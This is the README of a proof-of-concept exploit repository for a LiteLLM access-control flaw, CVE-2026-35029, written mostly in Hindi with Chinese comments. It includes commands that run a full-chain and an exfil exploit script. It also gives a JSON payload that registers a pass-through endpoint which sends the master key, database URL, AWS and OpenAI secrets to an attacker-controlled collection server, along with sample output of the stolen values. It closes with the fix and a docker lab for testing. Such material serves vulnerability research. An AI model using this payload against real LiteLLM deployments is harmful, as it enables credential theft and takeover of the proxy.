
संबंधित भेद्यता को व्यक्तिगत रूप से पुनः उत्पन्न करने का कोड
/config/update अनधिकृत पहुंच भेद्यता (Broken Access Control)LiteLLM का
/config/updateएंडपॉइंट कॉल करने वाले की भूमिका अनुमतियों की जाँच नहीं करता। कोई भी प्रमाणित उपयोगकर्ता जिसके पास वैध API Key है (बिना व्यवस्थापक अनुमतियों के) प्रॉक्सी कॉन्फ़िगरेशन को संशोधित कर सकता है, दुर्भावनापूर्ण Pass-Through एंडपॉइंट पंजीकृत कर सकता है, और पर्यावरण चर चोरी, मनमाना फ़ाइल पढ़ना, रिमोट कोड निष्पादन जैसे हमले कर सकता है।
| Field | Value |
|---|
| CVE | CVE-2026-35029 |
| CVSS v4.0 | 8.7 (HIGH) — CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) / CWE-285 (Improper Authorization) |
| Affected | LiteLLM < 1.83.0 |
| Fixed | v1.83.0+ (added proxy_admin role check on /config/update) |
| Published | 2026-04-06 |
| Discovered by | Timo Müller — SEC Consult Vulnerability Lab (Munich) |
| Found | 2026-02-24 |
| Links | GHSA-53mr-6c8q-9789 • NVD • SEC Consult |
LiteLLM का /config/update एंडपॉइंट केवल proxy_admin भूमिका द्वारा कॉल किए जाने के लिए था, लेकिन v1.83.0 से पहले कोई भूमिका जाँच नहीं थी। कोई भी उपयोगकर्ता जिसके पास वैध API Key है, इस एंडपॉइंट को कॉल कर सकता है।
| हमले का प्रकार | विवरण |
|---|---|
| पर्यावरण चर चोरी | Pass-Through एंडपॉइंट पंजीकृत करके, os.environ/VAR_NAME हेडर संदर्भ के माध्यम से DATABASE_URL, LITELLM_MASTER_KEY आदि चुराएं। |
| मनमाना फ़ाइल पढ़ना | LANGFUSE_* हेडर की Base64 एन्कोडिंग सुविधा का उपयोग करके, सर्वर फ़ाइल सिस्टम पढ़ें। |
| कॉन्फ़िगरेशन छेड़छाड़ | UI_USERNAME, UI_PASSWORD को ओवरराइट करके व्यवस्थापक खाता हाईजैक करें। |
| रिमोट कोड निष्पादन | हमलावर के Python कोड की ओर इशारा करने वाले Pass-Through एंडपॉइंट हैंडलर पंजीकृत करें। |
⚠️ महत्वपूर्ण:
docker-compose.ymlकमजोर इमेज को 24 जनवरी, 2026 के एक विशिष्ट डाइजेस्ट (sha256:5beb4ea6...) पर पिन करता है। इसेmain-v1.81.0-stableया किसी अन्य परिवर्तनीय टैग में न बदलें — बाद की इमेज को फिक्स के साथ पुनः बनाया जा सकता है, जिससे पुनरुत्पादन टूट जाएगा।
# 1. 启动脆弱版 LiteLLM + 攻击者数据接收服务器
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 运行完整攻击链(环境变量窃取 + 文件读取)
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 4. 仅窃取环境变量
python3 exploit/exploit.py --mode exfil \
--target http://localhost:4000 \
--key sk-litellm-master-key
# 5. (可选)验证修复版本不受影响
docker compose --profile fixed up -d
python3 exploit/exploit.py --mode full-chain \
--target http://localhost:4001 \
--key sk-litellm-master-key --fixed
नोट: कंटेनरों को पहली बार शुरू करने में लगभग 30-60 सेकंड लगते हैं (PostgreSQL स्वास्थ्य जांच + Prisma डेटाबेस माइग्रेशन); कंटेनर लॉग में
Uvicorn running on http://0.0.0.0:4000दिखाई देने के बाद ही exploit चलाएं।
पर्यावरण चर चोरी:
======================================================================
[VULNERABLE] Phase 1: Environment Variable Exfiltration
======================================================================
[*] Step 1: Registering pass-through endpoint via /config/update...
Payload: {
"general_settings": {
"pass_through_endpoints": [
{
"path": "/exfil/env",
"target": "http://exfil-server:9999/collect",
"headers": {
"X-Exfil-1-LITELLM_MASTER_KEY": "os.environ/LITELLM_MASTER_KEY",
"X-Exfil-2-DATABASE_URL": "os.environ/DATABASE_URL",
"X-Exfil-3-AWS_SECRET_ACCESS_KEY": "os.environ/AWS_SECRET_ACCESS_KEY",
"X-Exfil-4-OPENAI_API_KEY": "os.environ/OPENAI_API_KEY"
}
}
]
}
}
HTTP 200
[+] Config update accepted!
[*] Step 2: Waiting for pass-through route propagation...
6 seconds...
[*] Step 3: Triggering pass-through endpoint at /exfil/env...
HTTP 200
Response: {"status":"received","message":"Data captured by exfiltration server"}
[*] Step 4: Checking exfiltration server for stolen data...
[🔥] EXFILTRATION LOGS:
────────────────────────────────────────────────────────────
📥 Request received
Path : /collect
Headers:
X-Exfil-1-LITELLM_MASTER_KEY: sk-litellm-master-key
X-Exfil-2-DATABASE_URL: postgresql://admin:[email protected]:5432/production
X-Exfil-3-AWS_SECRET_ACCESS_KEY: AKIA1234567890EXAMPLE
X-Exfil-4-OPENAI_API_KEY: sk-openai-secret-key-leaked
[🔥] EXPLOIT SUCCEEDED! Sensitive data exfiltrated!
फिक्स्ड संस्करण में एक्सेस अस्वीकार (गैर-व्यवस्थापक कुंजी के साथ 403 लौटाता है):
======================================================================
[FIXED] Phase 1: Environment Variable Exfiltration
======================================================================
HTTP 403
[-] Forbidden — target may be patched (v1.83.0+)
[+] Expected: fixed version blocks non-admin config updates
नोट: यदि फिक्स्ड संस्करण का परीक्षण मास्टर कुंजी (
sk-litellm-master-key) से किया जाता है, तो कॉन्फ़िगरेशन अपडेट अभी भी HTTP 200 लौटाएगा (मास्टर कुंजी के पासproxy_adminभूमिका है), लेकिन Pass-Through एंडपॉइंट पंजीकरण प्रभावी नहीं हो सकता या चुपचाप अनदेखा किया जा सकता है। फिक्स को सत्यापित करने के लिए गैर-व्यवस्थापक कुंजी का उपयोग करने की सिफारिश की जाती है।
┌──────────────┐ ┌─────────────────┐ ┌───────────────────┐
│ 攻击者 │ │ LiteLLM Proxy │ │ Exfiltration 服务 │
│ (低权限 Key) │ │ (< v1.83.0) │ │ (攻击者控制) │
└──────┬───────┘ └────────┬────────┘ └────────┬──────────┘
│ │ │
│ 1. POST /config/update │
│ {pass_through_endpoints: │
│ [{path, target, headers: │
│ {X-DB: "os.environ/DATABASE_URL"}}]} │
│─────────────────────→│ │
│ │ │
│ HTTP 200 (OK!) │ │
│←─────────────────────│ │
│ │ │
│ 2. GET /exfil/env │ │
│─────────────────────→│ │
│ │ 3. Forward request │
│ │ + resolved headers │
│ │ (含 DATABASE_URL) │
│ │──────────────────────→│
│ │ │
│ │ HTTP 200 │
│ │←──────────────────────│
│←─────────────────────│ │
│ │ │
│ 4. 读取 /logs 确认结果 │
│─────────────────────────────────────────────→│
│←─ [🔥] 窃取到 DATABASE_URL ─────────────────│
CVE-2026-35029/
├── README.md # This file
├── docker-compose.yml # PostgreSQL db + vulnerable/fixed LiteLLM + exfil server
├── litellm_config.yaml # LiteLLM base config
├── requirements.txt # Python dependencies (PoC)
├── exfil-server/
│ ├── Dockerfile # Exfiltration server image
│ └── server.py # Captures stolen data (Python HTTP)
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # Payload builder module
├── docs/
│ └── advisory.md # Advisory reference
└── screenshots/
└── README.md # Proof screenshots placeholder
v1.83.0 ने /config/update हैंडलर में proxy_admin भूमिका जाँच जोड़ दी:
# 修复前 (v1.83.0 之前) — 无角色检查
@router.post("/config/update")
async def update_config(request: Request):
... # 任何已认证用户均可调用
# 修复后 (v1.83.0+) — 需要 proxy_admin 角色
@router.post("/config/update")
@require_role("proxy_admin") # ← 新增角色检查
async def update_config(request: Request):
...
कमिट: 57c05459ae9b4e607bfb35228ec13a3ee8586ce4
/config/update एंडपॉइंट तक नेटवर्क पहुंच को प्रतिबंधित करेंDisclaimer: This content is provided for educational purposes and authorized security testing only.